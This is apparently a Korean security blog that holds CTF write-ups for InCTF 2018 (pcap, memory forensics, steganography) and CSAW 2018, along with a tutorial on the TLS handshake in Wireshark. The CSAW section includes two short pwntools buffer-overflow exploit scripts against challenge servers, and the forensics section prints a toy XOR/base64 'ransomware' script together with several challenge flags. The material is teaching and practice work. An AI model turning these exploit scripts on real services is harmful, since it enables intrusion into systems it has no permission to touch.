Biz44re
Kevin sent me a file with some hidden message. Help me recover this secret from this bizzare network.

우선, 파일이 존재한다고 했으므로 pcap file안에 특정 파일의 시그니처가 발견될 것을 예상하고 binwalk로 검사.

인증서 파일들만이 존재.

헥스 값으로 pcap file 안에 존재할 가능성이 있음. 아래와 같이 검사.
m444ndu@ubuntu:~/handout/bizz$ strings bizz.pcap | xxd -r -p > a.txt
m444ndu@ubuntu:~/handout/bizz$ binwalk a.txt

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
18            0x12            Zip archive data, at least v2.0 to extract, compressed size: 4961, uncompressed size: 6668, name: flag.png
7307          0x1C8B          End of Zip archive
zip file 존재.


해당 패킷을 찾아보면 위와 같이 icmp 프로토콜을 이용하여 zip file의 hex 값을 전송하고 있는 것을 확인할 수 있다. 따라서 ip 주소 10.30.8.102 은 Kevin이 사용하고 있는 주소라는 것을 알 수 있으며, 알아낸 Kevin이 보낸 패킷들의 hex 값들을 모으면 아래와 같은 플래그를 가진 zip file을 추출할 수 있다.


inctf{_s0meTim3s_u_h4v3_t0_lOOk_3v3ryWh3r3_cl0s3r_TO_G3T_th3_wh0l3!}

이렇게 풀었어야 했는데!





Evilcrypter
A harmful ransomware script encrypted my precious text and hid it somewhere. I was going through some old photos when this incident happened. Luckily I was able to dump the memory as soon as I noticed something suspicious. Can you retrieve my data?

메모리 포렌식 문제다. volatility를 사용해서 raw 파일을 살펴보면 Win7 메로리 덤프 파일이라는 것을 알 수 있다.

D:\Tool\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -f challenge.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (D:\Tool\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone\challenge.raw)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x82742c68L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x82743d00L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2018-09-30 09:47:54 UTC+0000
     Image local date and time : 2018-09-30 15:17:54 +0530


여러 Profile(Win7SP1x86_23418, Win7SP0x86, Win7SP1x86)이 존재하는데, Service Pack이 1이므로 1인 것 중의 제일 처음에 나온 Win7SP1x86_23418을 사용한다.

그럼 첫 번째로, 우선 사용자가 어떤 프로세스를 사용했는지 확인한다.
D:\Tool\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -f challenge.raw --profile=Win7SP1x86  pslist
Volatility Foundation Volatility Framework 2.6
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x83d09c60 System                    4      0     88      541 ------      0 2018-09-30 08:09:59 UTC+0000
0x84551b98 smss.exe                260      4      2       29 ------      0 2018-09-30 08:09:59 UTC+0000
0x84d58030 csrss.exe               340    332      9      352      0      0 2018-09-30 08:10:04 UTC+0000
0x84d76030 csrss.exe               380    372     10      189      1      0 2018-09-30 08:10:05 UTC+0000
0x84d77d28 wininit.exe             388    332      3       83      0      0 2018-09-30 08:10:05 UTC+0000
0x84da6d28 winlogon.exe            424    372      3      115      1      0 2018-09-30 08:10:05 UTC+0000
0x84dcdbd0 services.exe            484    388      6      195      0      0 2018-09-30 08:10:07 UTC+0000
0x84dd0658 lsass.exe               492    388      6      561      0      0 2018-09-30 08:10:08 UTC+0000
0x84dd4b28 lsm.exe                 500    388     10      151      0      0 2018-09-30 08:10:08 UTC+0000
0x8454e348 svchost.exe             588    484     10      351      0      0 2018-09-30 08:10:12 UTC+0000
0x84e15d28 VBoxService.ex          648    484     12      115      0      0 2018-09-30 08:10:13 UTC+0000
0x84e1d030 svchost.exe             712    484      8      268      0      0 2018-09-30 08:10:14 UTC+0000
0x84e5ad28 svchost.exe             800    484     18      438      0      0 2018-09-30 08:10:14 UTC+0000
0x84e67d28 svchost.exe             852    484     16      371      0      0 2018-09-30 08:10:15 UTC+0000
0x84e6b030 svchost.exe             880    484     18      452      0      0 2018-09-30 08:10:15 UTC+0000
0x84e6fa18 svchost.exe             904    484     31     1116      0      0 2018-09-30 08:10:15 UTC+0000
0x8481bcb0 svchost.exe            1236    484     15      478      0      0 2018-09-30 08:10:22 UTC+0000
0x8484a800 spoolsv.exe            1340    484     12      285      0      0 2018-09-30 08:10:24 UTC+0000
0x8485b030 svchost.exe            1368    484     18      302      0      0 2018-09-30 08:10:24 UTC+0000
0x8488e860 svchost.exe            1488    484     11      267      0      0 2018-09-30 08:10:26 UTC+0000
0x84893030 svchost.exe            1516    484     12      215      0      0 2018-09-30 08:10:26 UTC+0000
0x85192030 LogonUI.exe             876    388      5      152      0      0 2018-09-30 08:10:40 UTC+0000
0x8515cae0 sppsvc.exe              292    484      6      153      0      0 2018-09-30 08:12:31 UTC+0000
0x8514bbf0 svchost.exe             440    484     13      342      0      0 2018-09-30 08:12:32 UTC+0000
0x84d69d00 SearchIndexer.         1184    484     15      724      0      0 2018-09-30 08:12:33 UTC+0000
0x8441d7e0 taskhost.exe           4816    484      8      196      1      0 2018-09-30 09:28:32 UTC+0000
0xa0b21170 dwm.exe                3028    852      3      186      1      0 2018-09-30 09:28:36 UTC+0000
0x8449d890 explorer.exe           5300   5128     30      871      1      0 2018-09-30 09:28:36 UTC+0000
0x851cdd28 VBoxTray.exe           3064   5300     14      154      1      0 2018-09-30 09:28:44 UTC+0000
0x84d77868 wuauclt.exe            5644    904      3       86      1      0 2018-09-30 09:28:49 UTC+0000
0x9c627d28 msiexec.exe            1016    484      7      345      0      0 2018-09-30 09:39:03 UTC+0000
0xbc2d08a8 msiexec.exe            5652   1016      0 --------      1      0 2018-09-30 09:39:13 UTC+0000   2018-09-30 09:41:17 UTC+0000
0xbc21b9f0 TrustedInstall         4724    484      4      139      0      0 2018-09-30 09:40:24 UTC+0000
0x84489800 audiodg.exe            5996    800      4      120      0      0 2018-09-30 09:45:22 UTC+0000
0x83fbba40 SearchProtocol         5748   1184      7      281      0      0 2018-09-30 09:45:32 UTC+0000
0x84ead628 DumpIt.exe             4116   5300      2       37      1      0 2018-09-30 09:45:43 UTC+0000
0x84e37498 conhost.exe            3176    380      2       51      1      0 2018-09-30 09:45:43 UTC+0000
0x84700ab8 dllhost.exe            1008    588      8      225      1      0 2018-09-30 09:45:48 UTC+0000
0x84ef6768 SearchFilterHo         4036   1184      5       97      0      0 2018-09-30 09:47:36 UTC+0000
0x9c6b0970 notepad.exe            3736   5300      1       60      1      0 2018-09-30 09:47:49 UTC+0000
0x8443d3c0 notepad.exe            3432   5300      1       60      1      0 2018-09-30 09:47:50 UTC+0000

 사실 나는 pslist를 사용했었는데, 몇몇 롸업을 참고하니 volatility를 사용할 때 pslist보단 psscan을 사용하는 것이 더 좋은 것 같다. pslist의 경우 종료되거나 비활성된 프로세스나 은닉된 프로세스들은 출력하지 않기 때문에, 풀 태그 스캐닝 방식을 사용하여 숨겨진 프로세스들까지 모두 출력해주는 psscan이 더 유용할 것이다.

아래는 psscan을 사용할 경우의 결과이다.
D:\Tool\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -f challenge.raw --profile=Win7SP1x86_23418 psscan
Volatility Foundation Volatility Framework 2.6
Offset(P)          Name                PID   PPID PDB        Time created                   Time exited
------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------
0x0000000001823970 notepad.exe        3736   5300 0x3df55ea0 2018-09-30 09:47:49 UTC+0000
0x000000000e95dc70 msiexec.exe         272   1016 0x3df55a20 2018-09-30 09:39:36 UTC+0000   2018-09-30 09:40:43 UTC+0000
0x00000000101b69f0 TrustedInstall     4724    484 0x3df554a0 2018-09-30 09:40:24 UTC+0000
0x0000000018350170 dwm.exe            3028    852 0x3e6bd0e0 2018-09-30 09:28:36 UTC+0000
0x0000000018440030 dllhost.exe        2272    588 0x3df554e0 2018-09-30 09:47:55 UTC+0000   2018-09-30 09:48:00 UTC+0000
0x000000002a661aa0 python.exe         2284   1644 0x3df55ea0 2018-09-30 09:47:01 UTC+0000   2018-09-30 09:47:01 UTC+0000
0x00000000303188a8 msiexec.exe        5652   1016 0x3df55800 2018-09-30 09:39:13 UTC+0000   2018-09-30 09:41:17 UTC+0000
0x0000000037e92d28 msiexec.exe        1016    484 0x3df55bc0 2018-09-30 09:39:03 UTC+0000
0x000000003d0e4030 cmd.exe            1644   5300 0x3df55a20 2018-09-30 09:46:02 UTC+0000   2018-09-30 09:47:45 UTC+0000
0x000000003d194030 python.exe         3632   1644 0x3df55a40 2018-09-30 09:47:42 UTC+0000   2018-09-30 09:47:42 UTC+0000
0x000000003d34bbf0 svchost.exe         440    484 0x3df55380 2018-09-30 08:12:32 UTC+0000
0x000000003d35cae0 sppsvc.exe          292    484 0x3df55360 2018-09-30 08:12:31 UTC+0000
0x000000003d392030 LogonUI.exe         876    388 0x3df55340 2018-09-30 08:10:40 UTC+0000
0x000000003d3cdd28 VBoxTray.exe       3064   5300 0x3df55780 2018-09-30 09:28:44 UTC+0000
0x000000003d415d28 VBoxService.ex      648    484 0x3df55140 2018-09-30 08:10:13 UTC+0000
0x000000003d41d030 svchost.exe         712    484 0x3df55160 2018-09-30 08:10:14 UTC+0000
0x000000003d437498 conhost.exe        3176    380 0x3df55ee0 2018-09-30 09:45:43 UTC+0000
0x000000003d45ad28 svchost.exe         800    484 0x3df551a0 2018-09-30 08:10:14 UTC+0000
0x000000003d467d28 svchost.exe         852    484 0x3df551c0 2018-09-30 08:10:15 UTC+0000
0x000000003d46b030 svchost.exe         880    484 0x3df551e0 2018-09-30 08:10:15 UTC+0000
0x000000003d46fa18 svchost.exe         904    484 0x3df55200 2018-09-30 08:10:15 UTC+0000
0x000000003d4ad628 DumpIt.exe         4116   5300 0x3df55cc0 2018-09-30 09:45:43 UTC+0000
0x000000003d4f6768 SearchFilterHo     4036   1184 0x3df553c0 2018-09-30 09:47:36 UTC+0000
0x000000003d758030 csrss.exe           340    332 0x3df55060 2018-09-30 08:10:04 UTC+0000
0x000000003d769d00 SearchIndexer.     1184    484 0x3df553a0 2018-09-30 08:12:33 UTC+0000
0x000000003d776030 csrss.exe           380    372 0x3df550a0 2018-09-30 08:10:05 UTC+0000
0x000000003d777868 wuauclt.exe        5644    904 0x3df55180 2018-09-30 09:28:49 UTC+0000
0x000000003d777d28 wininit.exe         388    332 0x3df550c0 2018-09-30 08:10:05 UTC+0000
0x000000003d7a6d28 winlogon.exe        424    372 0x3df55040 2018-09-30 08:10:05 UTC+0000
0x000000003d7cdbd0 services.exe        484    388 0x3df55080 2018-09-30 08:10:07 UTC+0000
0x000000003d7d0658 lsass.exe           492    388 0x3df550e0 2018-09-30 08:10:08 UTC+0000
0x000000003d7d4b28 lsm.exe             500    388 0x3df55100 2018-09-30 08:10:08 UTC+0000
0x000000003da1bcb0 svchost.exe        1236    484 0x3df55260 2018-09-30 08:10:22 UTC+0000
0x000000003da4a800 spoolsv.exe        1340    484 0x3df55280 2018-09-30 08:10:24 UTC+0000
0x000000003da5b030 svchost.exe        1368    484 0x3df552a0 2018-09-30 08:10:24 UTC+0000
0x000000003da8e860 svchost.exe        1488    484 0x3df552c0 2018-09-30 08:10:26 UTC+0000
0x000000003da93030 svchost.exe        1516    484 0x3df552e0 2018-09-30 08:10:26 UTC+0000
0x000000003dd00ab8 dllhost.exe        1008    588 0x3df553e0 2018-09-30 09:45:48 UTC+0000
0x000000003de1d7e0 taskhost.exe       4816    484 0x3df558a0 2018-09-30 09:28:32 UTC+0000
0x000000003de3d3c0 notepad.exe        3432   5300 0x3df55ba0 2018-09-30 09:47:50 UTC+0000
0x000000003de89800 audiodg.exe        5996    800 0x3df55ce0 2018-09-30 09:45:22 UTC+0000
0x000000003de9d890 explorer.exe       5300   5128 0x3df55f00 2018-09-30 09:28:36 UTC+0000
0x000000003df4e348 svchost.exe         588    484 0x3df55120 2018-09-30 08:10:12 UTC+0000
0x000000003df51b98 smss.exe            260      4 0x3df55020 2018-09-30 08:09:59 UTC+0000
0x000000003e5bba40 SearchProtocol     5748   1184 0x3df55f20 2018-09-30 09:45:32 UTC+0000
0x000000003e7b3c60 System                4      0 0x00185000 2018-09-30 08:09:59 UTC+0000
기존 pslist로 봤을때 보이지 않던 몇몇 작업들도 보인다. 앞으로는 psscan을 더 사용해야겠다.

다시 문제로 돌아와서, ransomware script가 text를 암호화했다고 하니 psscan 결과를 봤을 때, notepad.exe를 분석하는 것이 타당해보인다. 또한 python.exe가 보이는 것으로 보아, ransomware script가 python code일 가능성도 염두에 두는 것이 좋아보인다.

D:\Tool\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -f challenge.raw --profile=Win7SP1x86_23418 memdump -p 3432 -D ./test3/.
Volatility Foundation Volatility Framework 2.6
************************************************************************
Writing notepad.exe [  3432] to 3432.dmp


해당 파일을 분석해보니, vip.txt라는 파일을 열었던 흔적을 발견할 수 있었다. 나는 hxd 에디터로 txt라는 키워드를 검색했는데, strings로 문자열만 파일로 만드는 것도 괜찮을 것 같다. 또한 해당 dump 파일에서 evilscript.py.py 라는 다분히 랜섬웨어라고 생각할만한 이름을 가진 파일도 발견했다. filescan 플러그인으로 해당 파일들을 확인해본다.

D:\Tool\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -f challenge.raw --profile=Win7SP1x86_23418 filescan | findstr vip.txt
Volatility Foundation Volatility Framework 2.6
0x000000003e727e50      8      0 -W-rw- \Device\HarddiskVolume2\Users\hello\Desktop\vip.txt

D:\Tool\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -f challenge.raw --profile=Win7SP1x86_23418 filescan | findstr evilscript
Volatility Foundation Volatility Framework 2.6
0x000000003d065038      2      0 RW-rw- \Device\HarddiskVolume2\Users\hello\AppData\Roaming\Microsoft\Windows\Recent\evilscript.lnk
0x000000003de1b5f0      8      0 R--rw- \Device\HarddiskVolume2\Users\hello\Desktop\evilscript.py.py
0x000000003e727490      2      0 RW-rw- \Device\HarddiskVolume2\Users\hello\AppData\Roaming\Microsoft\Windows\Recent\evilscript.py.lnk


두 파일의 위치가 모두 \hello\Desktop 인데 혹시나 싶어 해당 위치의 파일들을 검색해보았다.(envars의 결과를 단서로도 이러한 결론을 도출해낼 수 있지 않을까싶다. 이 파일에서는 너무 많아서 못했지만..)
D:\Tool\volatility_2.6_win64_standalone\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -f challenge.raw --profile=Win7SP1x86_23418 filescan | findstr \hello\Desktop
Volatility Foundation Volatility Framework 2.6
0x0000000004f34148      2      0 RW---- \Device\HarddiskVolume2\Users\hello\Desktop\suspision1.jpeg
0x000000000be20b10      2      1 R--rwd \Device\HarddiskVolume2\Users\hello\Desktop
0x00000000385d3958      8      0 R--rw- \Device\HarddiskVolume2\Users\hello\Desktop\OSForensics.lnk
0x000000003d3c0f80      1      1 RW-rw- \Device\HarddiskVolume2\Users\hello\Desktop\DumpIt\HELLO-PC-20180930-094543.raw
0x000000003d46c3c8      1      1 R--rw- \Device\HarddiskVolume2\Users\hello\Desktop
0x000000003d481788      1      1 R--rw- \Device\HarddiskVolume2\Users\hello\Desktop\DumpIt
0x000000003d489c90      4      0 R--r-d \Device\HarddiskVolume2\Users\hello\Desktop\DumpIt\DumpIt.exe
0x000000003dcf3f18      8      0 R--r-- \Device\HarddiskVolume2\Users\hello\Desktop\DumpIt\DumpIt.exe
0x000000003de1b5f0      8      0 R--rw- \Device\HarddiskVolume2\Users\hello\Desktop\evilscript.py.py
0x000000003de41d00      8      0 R--rwd \Device\HarddiskVolume2\Users\hello\Desktop\desktop.ini
0x000000003de646e0      2      1 R--rwd \Device\HarddiskVolume2\Users\hello\Desktop
0x000000003e1e9360      1      1 R--rw- \Device\HarddiskVolume2\Users\hello\Desktop
0x000000003e727e50      8      0 -W-rw- \Device\HarddiskVolume2\Users\hello\Desktop\vip.txt


suspision1.jpeg 라는 역시 다분히 오해할만한 이름의 파일이 존재했다. 이 3개의 파일들을 잘 추출하면 다음과 같다.

vip.txt
am1gd2V4M20wXGs3b2U=

evilscript.py
import sys
import string

def xor(s):
    a = ''.join(chr(ord(i)^3) for i in s)
    return a

def encoder(x):
    return x.encode("base64")

if __name__ == "__main__":
    f = open("C:\\Users\\hello\\Desktop\\vip.txt", "w")
    arr = sys.argv[1]
    arr = encoder(xor(arr))
    f.write(arr)
    f.close()

suspision1.jpeg


evilscript가 vip.txt를 암호화했기 때문에, 이를 복호화 하면 다음과 같은 flag의 일부분을 얻을 수 있다.
import sys
import string
import base64

def xor(s):

    a = ''.join(chr(ord(i)^3) for i in s)
    return a

if __name__ == "__main__":

    arr = 'am1gd2V4M20wXGs3b2U='
    arr = base64.b64decode(arr)
    #print(arr)
    arr = xor(arr)
    print(arr)

````````````````````````````````````````````
inctf{0n3_h4lf



대회 때 여기까지 했다..... suspision1.jpeg를 조금 더 의심해보면 좋으련만.. 그냥 낚시용인줄 알았는데..

나머지 플래그는 suspision1.jpeg에 steganograpy로 숨겨져있었다. steghide라는 도구로 아까 구한 inctf{0n3_h4lf 를 키로 삼아 숨겨진 메시지를 얻을 수 있다..

D:\Tool\steghide>steghide.exe extract -sf D:\download\InCTF\Evilcrypter\test3\suspision1.jpeg
Enter passphrase:
the file "secret text" does already exist. overwrite ? (y/n) y
wrote extracted data to "secret text".

``````````````````
_1s_n0t_3n0ugh}



그리하야
inctf{0n3_h4lf_1s_n0t_3n0ugh}


요즘 포렌식 문제에서는 스태가노그래피가 거의 끼는 거 같다!







Winter Sport
I have a friend named Jake.We were watching a football tournament on one fine chilly morning. Meanwhile Jake's sister Susan did something mischievous which cause Jake to lose some really important data. We could only find this piece of evidence, can you recover it for him?

binwalk 통해 제공된 file.pdf 파일을 분석해보면 7zip 파일이 숨겨져 있음을 확인할 수 있다. 

압축을 해제하면 omg.pdf 파일이 나오는데 이 파일은 손상된 pdf 파일이다.

 

pdf file format은  아래와 같이 Header, Body, Cross-reference Table, Trailer로 구성되어 있는데, Header가 완전 박살난 것을 확인할 수 있다.

그래도 어찌저찌 파일을 열어보면(NesPDF) 그냥 흰 화면만 있는데 사실 흰색 글자로 다음과 같이 적혀있다.
What is       Steganography     ?Steganography   is       an      amaz

사실 나는 여기서 문서 상에서 그림같은 오브젝트들을 복원하는게 해답이라고 생각해서 한참동안 pdf format에 맞춰 오브젝트들을 배치해주고 있었다. 결국 실패했지만.. 
근데 여기서 이러고 있을게 아니라 헤더 부분을 제대로 봤어야 했다... 어그러진 부분은 역시 의도가 있었다.
white space로 flag가 숨겨져 있었다.



SNOW 라는 Whitespace steganography를 다루는 툴을 사용하여 flag를 얻어낼 수 있다.

D:\Tool\snwdos32>SNOW.EXE -C "D:\download\InCTF\winter sport\omg.pdf"
inctf{w3lcom3_t0_7h3_w0rld_0f_whit3sp4c3}


Whitespace는 생각지도 못했다!



'CTF% and other Chanllenge† > InCTF 2018' 카테고리의 다른 글

InCTF 2018 write up  (0) 01:13:58
end-to-end 서비스 상에서는 서버와 클라이언트의 인증, 데이터의 기밀성과 무결성을 보장하기 위해, Transport Layer SSL 패킷 안에 Application 데이터를 캡슐화하는 암호화 통신을 사용한다. 암호화 통신은 일반적으로 TLS/SSL protocol을 사용하여 이루어지는데, TLS/SSL 암호화 과정에서 필요한 정보들(사용할 암호화 알고리즘, 키)의 교환을 위한 TLS Handshake 과정이 존재한다. 해당 과정을 통하여 세션을 생성할 수 있고, 이 후 두 노드의 통신은 세션 상에서 수행된다.


IN THEORY



=== Phase 1 ===

①, ②과정에서 client와 server는 각 각 random 값을 생성하여 상대방에게 전송한다. 


이후, client와 server는 SSL의 버전, 키 교환, 메시지 인증과 암호화를 위한 알고리즘, 압축 방법, 키 생성을 위한 2개의 난수를 알게 된다.


=== Phase 2 ===

③과정 직후, ServerKeyExchange 메시지가 송신될 수 있다. RSA나 fixed Diffie-Hellman 방식에서는 certificate에서 공개 캐를 보내기 때문에 ServerKeyExchange과정이 존재하지 않지만, ephermeral Diffie-Hellman 방식이나 Anonymous Diffie-Hellman 방식은에서는 존재한다.



또한, server는 client의 인증을 요구하는 CertificateRequest 메시지를 보낼 수 있다. server가 믿고 있는 상위 CA들의 목록을 포함하고 있다. Anonymous Diffie-Hellman에서는 client에게 인증서를 요구할 수 없다.

④과정에서는 ServerHello가 끝났다라는 것을 알린다.


이후, server는 client에 대해 인증이 되고, client는 server의 공개 키를 알 수 있게 된다.


=== Phase 3 ===

server가 인증서를 요청하였다면 ⑤전에, client 인증서를 Certificate 메시지를 통하여 전송한다. client를 인증하는 인증서 체인을 포함한다. 요청이 있는데 client가 보낼 인증서가 없다면, 인증서가 없다는 경고와 함께, Alert 메시지를 보낸다.

⑤과정에서 client는 pre-master secret을 ClientKeyExchange 메시지를 통해서 server에게 전송한다. 암호화 방식은 server와 합의된 암호 알고리즘(ex. RSA, Diffie-Hellman, Fortezza)을 이용한다.

서버가 클라이언트의 인증서를 요청하였을 경우, 받은 인증서가 실제 client의 인증서가 맞는지 증명하는 작업이 필요하다. ⑤과정 직후에 CertificateVerify 메시지를 server로 전송함으로써 client의 인증서를 검증한다. 

⑤과정에서 client는 pre-master secret(48 bytes)을 생성한뒤, server와 합의된 암호 알고리즘(ex. RSA)을 이용하여 pre-master secret을 전송한다. ⑤과정이 끝나면 client와 자신의 개인 key로 복호화하여 pre-master secret을 얻은 server는 pre-master secret과 client random, server random 값을 SHA-1과 MD5 해쉬 함수를 이용하여 Master secret(48 bytes)를 생성한다.

위의 과정을 이용하여 Master secret을 생성했다면, 이제 이 Master secret과 client random, server random을 이용하여 Key material을 생성한다. 

Key material은 client 및 server가 사용할 암호화 key를 생성한다.




이후, client는 server에 대해 인증되고, client와 server 양측은 pre-master secret을 알게 된다.



=== Phase 4 ===

본 단계에서는 client와 server가 암호 규격을 변경하고 Handshake 프로토콜을 종료하기 위한 메시지를 보낸다.


⑦과정 ChangeCipherSpec은 client와 server가 대기 상태에서 활성 상태로 모든 암호문 집합과 매개변수가 이동된 것을 나타내기 위해 보내는 메시지이다.

ChangeCipherSpec 과정에서는 대기 상태와 활성 상태로 나뉘어질 수 있고, 각 상태는 read(receiving)와 write(sending)의 두 가지 값을 가진다. 대기 상태에서는 매개변수와 secret을 기록해두고, 활성 상태에서는 암호화나 복호화를 위하여 매개변수와 secret 값들을 유지하는 형태이다.
ChangeCipherSpec Protocol을 자세히 살펴보면 다음과 같은 과정이 수행된다. 

ChangeCipherSpec 메시지를 교환하기 전에는 대기 열만 값들을 가지게 되고, client가 ChangeCipherSpec 메시지를 보낸 뒤에, client는 대기에서 활성으로 write 매개변수가 변한다. client는 이제 outbound 메시지를 서명 또는 암호화하는데 해당 매개변수들을 사용할 수 있다. server는 client가 보낸 이 ChangeCipherSpec 메시지를 수신한 뒤에, 대기 상태에서 활성 상태로 read 매개변수가 변한다. 이제 server는 메시지를 복호화하거나 검증할 수 있다.

server가 ChangeCipherSpec 메시지를 보내고 나면, 위와 비슷하게 server의 write 매개변수가 대기상태에서 활성상태로 변하고, client의 read 매개변수가 대기상태에서 활성상태로 변한다.

이제 양 당사자들은 read/write 활성 매개변수를 사용하여 양 방향으로 통신을 할 수 있다.

⑧과정에서는 Finished 메시지가 전송된다. Handshake 과정의 끝을 알리는 메시지이다. Finished 메시지는 서명이나 암호화되어 상대방이 검증하는 용도로 사용될 수 있다.


이후, client와 server는 데이터를 교환할 준비가 된다.






IN PACKET

Display filter에서 ssl.handshake 혹은 ssl.record.content_type == 22를 사용하여 TLS Handshake 관련 세션을 확인할 수 있다.


아래의 그림은 예시로 잡아본 TLS Handshake 과정이다.



Client Hello

먼저 일반적인 HTTPS의 경우 443 포트를 사용하는 것을 확인할 수 있다.


SSl 부분을 보면 Content Type 이 22로 Handshake를 나타내는 것을 알 수 있는데, 아까 사용한 ssl.record.content_type == 22은 이 영역에 대한 값으로 필터링한 것이다.
{20 : change_cipher_spec, 21 : alert, 22 : handshake, 23 : application_data}


Handshake Type 필드의 값 (1)을 통해 해당 패킷이 Client Hello에 관련된 패킷이라는 것을 알 수 있다. 또한, client가 지원할 수 있는 Version 중 가장 높은 것이 TLS 1.2 라는 것을 확인할 수 있다. {0x0300 : SSL 3.0, 0x0301 : SSL/TLS 1.0, 0x0302 : SSL/TLS 1.1, 0x0303 : SSL/TLS 1.2}
Compression(압축) 방식은 선택사항이다. 특정 압축 알고리즘은 SSL version 3에서 정의되지 않았기 때문에, 기본 압축 방법은 NULL이다.


Random 필드에 존재하는 Random Bytes는 Handshake 과정이 끝난 뒤, 세션 키(대칭 키)를 생성하는데에 사용된다. client의 random 값과 server의 random 값 


Client Hello의 Cipher Suites에서는 해당 Client의 브라우저에서 지원할 수 있는 암호화 방식의 목록을 보여준다. 위의 그림에서는 17개의 암호화 방식을 지원함을 나타내고 있다.


위의 그림에서는 TLS Extension 필드들을 확인할 수 있다. Extension 필드는 선택적으로 사용된다. Extension 필드는 매우 다양한 정보들을 가질 수 있는데 필드 중 server_name 필드는 Server의 이름을 포함하고 있다.



Server Hello

server hello의 경우에도 Content Type은 Handshake를 갖는다. 다만, Handshake Type 값을 2로 Server Hello의 값을 갖는다. server hello에서 역시 client hello와 마찬가지로 Version과 Random 값을 확인할 수 있다. Session ID 값이 0일 경우, 새 세션임을 나타낸다. 0이 아니라면 재시작된 세션이다. Cipher Suite는 이전 client가 지원하는 암호화 방식 중 하나를 선택하여 선택된 방식을 client에게 보낸다. 또한, 선택적으로 Extension 필드가 사용될 수 있다.



Certificate

certificate의 Handshake Type은 11이다.


certificate가 4개 존재한다. 가장 하위에 존재하는 것이 ROOT CA에 대한 인증서이고, 가장 위에 존재하는 것이 서버의 인증서이다.

인증서의 시리얼 넘버나 유효기간, 서버의 공개 키 등을 확인할 수 있다.



참고 : 
Cryptography and Network Security. by Behrouz A Forouzan
Wireshakr Network Analysis. by Laura Chappell



'Studing^ > Network' 카테고리의 다른 글

TLS Handshake  (0) 2018.09.21
네트워크 공부  (0) 2018.07.15
WPA2 무선랜 해킹  (2) 2018.05.24
PCAPNG 파일  (0) 2017.10.30
패킷과 프레임의 차이  (0) 2017.10.17
Mac 이란?  (0) 2017.09.26
매우매우 간단한 문제들쓰

system

bigboy
매우매우 간단한 bof 문제

/*exploit code*/
from pwn import *

r = remote('pwn.chal.csaw.io' ,9000)
#r = process("./boi")
context.log_level = 'debug'

r.recvline()
a = "A" * 0x14
a += p64(0xcaf3baee)
r.sendline(a)
r.interactive()



get it?
여윽시 매우매우 간단한 bof

/*exploit code*/
from pwn import *

#r = process("./get_it")
r = remote("pwn.chal.csaw.io", 9001)
context.log_level = 'debug'

r.recvline()

a = "A" * 0x28
a += p64(0x004005B6)
r.send(a)

r.interactive()


Forensic

rewind
문제 설명은 다음과 같다.


문제 파일을 다운로드 받아 file 명령어로 살펴보면, 다음과 같이 data 와 QEMU disk image 파일인 것을 확인할 수 있다.


> strings rewind-rr-snp | grep "flag{"
혹은
> grep -a "flag{.*}" rewind-rr-snp
명령어로 박혀있는 플래그를 읽어올 수 있다.


image 파일에 보통 flag가 하드코딩되어 있는 경우가 있긴하던데 이 문제도 그럴줄은 몰랐다..





simple_recovery



주어진 파일 속에 존재하는 disk.img0 는... 


...음


'CTF% and other Chanllenge† > CSAW CTF' 카테고리의 다른 글

csaw 2018 write up  (0) 2018.09.21
CSAW 2017 SCV  (0) 2017.12.27
CSAW 2017 Best Router  (0) 2017.10.11
CSAW 2017 Missed Registration  (0) 2017.10.02

+ Recent posts

티스토리 툴바